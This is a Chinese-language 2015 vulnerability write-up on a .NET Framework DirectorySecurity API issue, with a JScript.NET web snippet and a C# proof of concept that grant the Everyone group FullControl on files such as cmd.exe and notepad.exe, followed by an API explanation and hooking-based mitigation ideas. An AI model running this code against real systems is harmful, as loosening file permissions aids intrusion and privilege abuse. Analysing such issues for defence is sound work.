catalog

. Description
. Effected Scope
. Exploit Analysis
. Principle Of Vulnerability
. Patch Fix

1. Description

通过.NET Framework的这个API漏洞,攻击者可以赋予任意程序文件执行权限

Relevant Link:

http://www.wooyun.org/bugs/wooyun-2015-0104148
https://butian.360.cn/vul/info/qid/QTVA-2015-198545

2. Effected Scope

Microsoft .NET Framework 2.0
Microsoft .NET Framework 3.5
Microsoft .NET Framework 3.5.
Microsoft .NET Framework
Microsoft .NET Framework 4.5
Microsoft .NET Framework 4.5.

3. Exploit Analysis

try
{
var strPath:String = "c:\\windows\\temp\\cmd.exe", strUser:String = "everyone";
/*
DirectoryInfo类,公开用于创建、移动和枚举目录和子目录的实例方法,此类不能被继承
https://msdn.microsoft.com/zh-cn/library/system.io.directoryinfo(v=vs.110).aspx
*/
var dirinfo:System.IO.DirectoryInfo = new System.IO.DirectoryInfo(strPath); /*
GetAccessControl(): 获取DirectorySecurity对象,该对象封装当前DirectoryInfo对象所描述的目录的访问控制列表(ACL)项
返回一个DirectorySecurity对象,该对象封装此目录的访问控制规则
https://msdn.microsoft.com/zh-cn/library/t1h6d4k4(v=vs.110).aspx
*/
var dirsecurity:System.Security.AccessControl.DirectorySecurity = dirinfo.GetAccessControl(); /*
AddAccessRule(FileSystemAccessRule): 将指定的访问控制列表(ACL)权限添加到当前文件或目录
https://msdn.microsoft.com/zh-cn/library/system.security.accesscontrol.directorysecurity(v=vs.110).aspx
public FileSystemAccessRule(
IdentityReference identity,
FileSystemRights fileSystemRights,
AccessControlType type
)
1. identity: System.Security.Principal::IdentityReference: 封装对用户帐户的引用的 IdentityReference对象
2. fileSystemRights: System.Security.AccessControl::FileSystemRights:FileSystemRight 值之一,该值指定与访问规则关联的操作的类型
3. type: System.Security.AccessControl::AccessControlType: AccessControlType值之一,该值指定是允许还是拒绝该操作
*/
dirsecurity.AddAccessRule(
new System.Security.AccessControl.FileSystemAccessRule(
strUser,
System.Security.AccessControl.FileSystemRights.FullControl,
System.Security.AccessControl.AccessControlType.Allow
));
/*
FileSystemAccessRule类: 表示定义文件或目录的访问规则的访问控制项 (ACE) 的抽象
https://msdn.microsoft.com/zh-cn/library/system.security.accesscontrol.filesystemaccessrule(v=vs.110).aspx
*/ //SetAccessControl: 将DirectorySecurity对象所描述的访问控制列表(ACL)项应用于当前DirectoryInfo对象所描述的目录
dirinfo.SetAccessControl(dirsecurity);
Response.Write(strPath+"\t权限添加成功!"); }
catch(x)
{
Response.Write(x.Message);
}

Relevant Link:

https://msdn.microsoft.com/zh-cn/library/system.io.directoryinfo(v=vs.110).aspx

0x1: POC

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text; namespace poc
{
class Program
{
static void Main(string[] args)
{
try
{
String strPath = "C:\\notepad.exe", strUser = "everyone";
System.IO.DirectoryInfo dirinfo = new System.IO.DirectoryInfo(strPath);
System.Security.AccessControl.DirectorySecurity dirsecurity = dirinfo.GetAccessControl(); dirsecurity.AddAccessRule(
new System.Security.AccessControl.FileSystemAccessRule(
strUser,
System.Security.AccessControl.FileSystemRights.FullControl,
System.Security.AccessControl.AccessControlType.Allow
)); dirinfo.SetAccessControl(dirsecurity);
Console.WriteLine(strPath+"\t权限添加成功!"); }
catch(Exception x)
{
Console.WriteLine(x.Message);
}
}
}
}

4. Principle Of Vulnerability

使用.NET的Directory类,用户可通过DirectorySecurity对象的下列方法来访问目录的访问控制列表(ACL)

. GetAccessControl: 返回一个目录的Windows ACL作为一个DirectorySecurity对象
. SetAccessControl: 将DirectorySecurity对象的ACl入口赋予指定目录

0x1: DirectorySecurity

DirectorySecurity类定义了如何对目录访问进行审计。该类是潜在的Windows文件安全系统(System.Security.AccessControl命名空间的一部分)的一个抽象,在该系统中,每个目录有一个自由决定的ACL来控制目录访问。同时,一个系统ACL决定对哪些访问控制进行审计。使用两个类来分别处理目录访问和审计

. FileSystemAccessRule
. FileSystemAuditRule

ileSystemAccessRule类代表一个潜在的访问控制入口的抽象,访问控制入口用来指定用户账号,提供的访问类型(读、写等)以及是许可或拒绝某个权限。同时,该类还指定了如何将访问规则传递给子对象。FileSystemAuditRule类代表了为某个文件或目录定义审计规则的ACE
为了通过DirectorySecurity类为某个目录添加一条新规则,需要FileSystemAccessRule和FileSystemAuditRule两个类的新实例

. 第一个参数: 指定每个应用该规则的用户、组或标识
. 第二个参数: FileSystemRights列表,用来指定用户(由第一个参数指定)可以进行的操作,它包含很多可能的取值,包括
) CreateDirectories
) CreateFiles
) Delete
) FullControl
) ListDirectory
. 最后一个参数: 可用来指定用户能否执行参数二的操作。AccessControlType列表包括两个可能取值
) 允许
) 拒绝
用于FileSystemAuditRule类的第三个参数可从AuditFlags列表的Failure、None或Success中取值来设定审计级别。FileSystemAuditRule类的构造函数是重载的,这个方法是最基本的方法

需要注意的是,需要使用管理员权限调用DirectorySecurity相关API

Relevant Link:

http://developer.zdnet.com.cn/2007/0510/391302.shtml
http://www.wyxit.com/article/201501/6731.html

5. Patch Fix

.NET Framework和Java JVM本质上是一样的,都是在操作系统之上抽象出了一层虚拟机,从而允许"中间字节码"在虚拟机上运行,从而实现跨平台
在.NET Framework框架中,如果需要调用操作系统API实现操作系统功能,需要通过Native API接口,即通过DLL/SO来调用操作系统API,因此,我们的防御方案可以从以下方向展开

. .NET Framework DirectorySecurityAPI涉及到的nativa API为
) SetSecurityDescriptorDacl
) SetFileSecurity
通过DLL/SO Hook实现管控 . 在内核层执行路径上进行防御

Copyright (c) 2015 Little5ann All rights reserved

QTVA-2015-198545、WooYun-2015-104148 .NET Framework Arbitrary File Permissions Modify Vul的更多相关文章

  1. [转]Adobe Creative Cloud 2015 下载 Adobe CC 2015 Download

    Adobe Creative Cloud 2015 下载   Adobe 宣布 Creative Cloud 设计套件全线更新! Adobe CC 2015新功能包括: – Premiere Pro ...

  2. [转].NET Core、Xamarin、.NET Standard和.NET Framework四者之间的区别

    转至:https://segmentfault.com/a/1190000011539920 前段时日微软(Microsoft)正式发布了.NET Core 2.0,在很多开发社区中反响不错.但还是有 ...

  3. .NET Core、Xamarin、.NET Standard和.NET Framework四者之间的区别

    前段时日微软(Microsoft)正式发布了.NET Core 2.0,在很多开发社区中反响不错.但还是有一些开发者发出了疑问,.NET Core.Xamarin..NET Standard和.NET ...

  4. 在 Linux 中,最直观、最可见的部分就是 文件系统(file system)

    在 Linux 中,最直观.最可见的部分就是 文件系统(file system).下面我们就来一起探讨一下关于 Linux 中国的文件系统,系统调用以及文件系统实现背后的原理和思想.这些思想中有一些来 ...

  5. Microsoft Visual Studio 2015 下载、注册、安装过程、功能列表、问题解决

    PS:请看看回复.可能会有文章里没有提到的问题.也许会对你有帮助哦~ 先上一张最终的截图吧: VS2015正式版出了,虽然没有Ultimate旗舰版,不过也是好激动的说.哈哈.可能有的小伙伴,由于工作 ...

  6. 关于 ECMAScript、JavaScript、ES6、ECMAScript 2015

    ECMAScript 是一种规范,而 JavaScript 是对规范的实现.ECMA 是标准化组织. 最早的 JavaScript 是由 Netscape 公司开发的,并提交给 ECMA 标准化组织, ...

  7. 【CTSC 2015】&【APIO 2015】酱油记

    蒟蒻有幸参加了神犇云集的CTSC & APIO 2015,感觉真是被虐成傻逼了……这几天一直没更新博客,今天就来补一下吧~~(不过不是题解……) Day 0 从太原到北京现在坐高铁只需3小时= ...

  8. SAFS Distilled --- 9 April 2015 to 16 April 2015

    In the org.safs.model, the class Component stores: information of this component's name reference of ...

  9. [Fri, 3 Jul 2015 ~ Tue, 7 Jul 2015] Deep Learning in arxiv

    Convolutional Color Constancy can this be used for training cnn to narrow the gap between different ...

随机推荐

  1. zabbix_proxy安装[yum mysql5.6]

      安装mysql rpm -ivh http://dev.mysql.com/get/mysql-community-release-el6-5.noarch.rpm   修改mysql配置: [m ...

  2. 安装mint的时候提示:Not compatible with your operating system or architecture: fsevents@1.0.11

    Since fsevents is an API in OS X allows applications to register for notifications of changes to a g ...

  3. jQuery 之 Callback 实现

    在 js 开发中,由于没有多线程,经常会遇到回调这个概念,比如说,在 ready 函数中注册回调函数,注册元素的事件处理等等.在比较复杂的场景下,当一个事件发生的时候,可能需要同时执行多个回调方法,可 ...

  4. HashSet<T>类 用法

    HashSet<T>类主要是设计用来做高性能集运算的,例如对两个集合求交集.并集.差集等.集合中包含一组不重复出现且无特性顺序的元素 改变集的值的方法: HashSet<T>的 ...

  5. IE6下margin时,float浮动产生双倍边距

    今天遇到了一个IE6下的兼容性问题,虽然IE6已经不被大众所期待了,用户也已基本上消失的所剩无几,但是,作为一个问题而存在,我们有必要尝试的去研究一下bug的改善方法 对元素float-left,然后 ...

  6. java中的集合和数组

    数组Array和集合的区别: (1)数组是大小固定的,并且同一个数组只能存放类型一样的数据(基本类型/引用类型) (2)JAVA集合可以存储和操作数目不固定的一组数据. (3)若程序时不知道究竟需要多 ...

  7. 【BZOJ 4269】再见Xor

    zky学长提供的线性基求法: for(int i=1;i<=n;i++) for(int j=64;j>=1;j--) { if(a[i]>>(j-1)&1) { if ...

  8. The resource identified by this request is only capable of generating responses with characteristics

    [转]今天在调试springMVC的时候,在将一个对象返回为json串的时候,浏览器中出现异常: The resource identified by this request is only cap ...

  9. quartz使用案例

    @Service public class QuartzServiceImpl extends BaseServiceImpl<JobDetails, String, QuartzTaskVO& ...

  10. 字符串String: 常量池

    2.1          String类 String是不可变类, 即一旦一个String对象被创建, 包含在这个对象中的字符序列是不可改变的, 直至该对象被销毁. String类是final类,不能 ...